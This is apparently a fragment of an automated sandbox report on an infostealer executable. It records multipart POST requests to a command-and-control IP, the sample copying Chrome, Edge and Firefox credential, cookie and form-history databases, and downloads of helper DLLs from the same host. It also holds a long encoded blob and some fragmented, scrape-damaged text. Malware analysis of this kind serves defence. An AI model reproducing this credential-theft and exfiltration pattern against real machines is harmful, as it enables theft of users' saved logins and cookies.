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"; File: "PCAP") Found string "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDGHost: 95.215.204.131Content-Length: 272Connection: Keep-AliveCache-Control: no-cache------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="token"94a68176065e3dbcb936e9ca4468dc9612aa0eca326bdd847e645a3d9f2a4d111b22683e------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="message"ybncbhylepme------KJDHCAFCGDAAKEBFIJDG--"; File: "PCAP") Found string "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEBHost: 95.215.204.131Content-Length: 272Connection: Keep-AliveCache-Control: no-cache------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="token"94a68176065e3dbcb936e9ca4468dc9612aa0eca326bdd847e645a3d9f2a4d111b22683e------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EHJKFCGHIDHCBGDHJKEB--"; File: "PCAP") Found string "Content-Type: multipart/form-data; boundary=----"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found string "Content-Disposition: form-data; name=""; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp"), Found string "Content-Type: multipart/form-data; boundary=----CAKKKJEHDBGIDHJKJDBF"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp"), Found string "Content-Disposition: form-data; name="token""; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp"), Found string "Content-Disposition: form-data; name="message""; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp"), Found string "Content-Disposition: form-data; name="file_name""; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp")45:T735,"bf3bc85903e812ff6a136924bf8ab376.exe" called "CopyFileA" to copy %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data to new location %ALLUSERSPROFILE%\GIIIECBGDHJJKFIDAKJD (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "CopyFileA" to copy %LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data to new location %ALLUSERSPROFILE%\IIJDBGDG (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "CopyFileA" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data to new location %ALLUSERSPROFILE%\CAKFIJDHJEGIDHJKKKJJ (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "CopyFileA" to copy %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Web Data to new location %ALLUSERSPROFILE%\FCBAECGI (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles\ywzu7870.default\cookies.sqlite to new location %ALLUSERSPROFILE%\FIIDBKJJDGHDHJKEHJDBFCFBAE (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles\ywzu7870.default\formhistory.sqlite to new location %ALLUSERSPROFILE%\GIJJKKJJDAAAAAKFHJJDGDAFBA (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles\ywzu7870.default\places.sqlite to new location %ALLUSERSPROFILE%\KEBGHCBAEGDHIDGCBAECGIECGH (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "CopyFileA" to copy %APPDATA%\Mozilla\Firefox\Profiles\ywzu7870.default\prefs.js to new location %ALLUSERSPROFILE%\CAFIEBKKJJDAKFHIDBFH (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "CopyFileA" to copy 68580703484f0c03432e6b657973 to new location %ALLUSERSPROFILE%\DHDAFBFCFHIDAKFIIEBAAEHIJD (UID: 00000000-00001720)46:T6c8,"bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\BF3BC85903E812FF6A136924BF8AB376.EXE.LOCAL" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\bf3bc85903e812ff6a136924bf8ab376.exe.Local\" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\9SSPAW46" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\PROGRAM" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\Program" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\HISTORY-WAL" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\ProgramData\GIIIECBGDHJJKFIDAKJD-JOURNAL" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\ProgramData\GIIIECBGDHJJKFIDAKJD-WAL" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network\Cookies" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\ProgramData\IIJDBGDG-JOURNAL" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to access non-existent file "C:\ProgramData\IIJDBGDG-WAL"47:Tf10,"GET / HTTP/1.1 Host: 95.215.204.131 Connection: Keep-Alive Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Thu 07 Nov 2024 01:34:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>....... "GET /9c4ff1f7c1a7004e/sqlite3.dll HTTP/1.1 Host: 95.215.204.131 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Thu 07 Nov 2024 01:34:20 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000080000000....... "GET /9c4ff1f7c1a7004e/freebl3.dll HTTP/1.1 Host: 95.215.204.131 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Thu 07 Nov 2024 01:34:36 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000....... "GET /9c4ff1f7c1a7004e/mozglue.dll HTTP/1.1 Host: 95.215.204.131 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Thu 07 Nov 2024 01:34:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000....... "GET /9c4ff1f7c1a7004e/msvcp140.dll HTTP/1.1 Host: 95.215.204.131 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Thu 07 Nov 2024 01:34:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000....... "GET /9c4ff1f7c1a7004e/nss3.dll HTTP/1.1 Host: 95.215.204.131 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Thu 07 Nov 2024 01:34:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000....... "GET /9c4ff1f7c1a7004e/softokn3.dll HTTP/1.1 Host: 95.215.204.131 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Thu 07 Nov 2024 01:34:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000....... "GET /9c4ff1f7c1a7004e/vcruntime140.dll HTTP/1.1 Host: 95.215.204.131 Cache-Control: no-cache" Response ==> HTTP/1.1 200 OK Date: Thu 07 Nov 2024 01:34:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E8000000.......48:T792,Found reference to API "WSAStartup" (Indicator: "WSAStartup"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00001720-00000C29-1834483028") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00001720-00000C29-1834483067") Found reference to API "InternetOpenA" (Indicator: 